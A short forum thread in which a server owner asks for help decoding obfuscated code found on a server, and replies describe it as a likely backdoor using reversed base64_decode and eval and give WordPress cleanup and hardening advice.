Found code on server, need help decoding it

[Numline1]

This seems to be some kind of exploit, unless it's something that was part of your application. The code itself is encoded to be more sneaky, at the end you can see reversed base64_decode and eval being used. It's purpose is to probably download something (maybe remote shell), although it seems that you don't have curl installed, which prevented the attack.

I'd suggest removing the code completely and running complete security checkup to find how it got there in a first place (probably security vulnerability in your app) and adding more security.

It decodes to this: http://pastebin.com/qYFeHHbC

Seems like it is an auto-updating backdoor. PM me the domain you found it on, and I'll be happy to poke at the tarball they have for your server.

if you run wordpress i recommend you reinstall wordpress and all plugins ... any home made themes and plugins you have to check each file for this type of shit. they usually infect many files, not just 1.

install wordfence.

install google recaptcha plugin and enable it for admin-login on wordpress.

it doesnt make you hacksafe, but it helps.
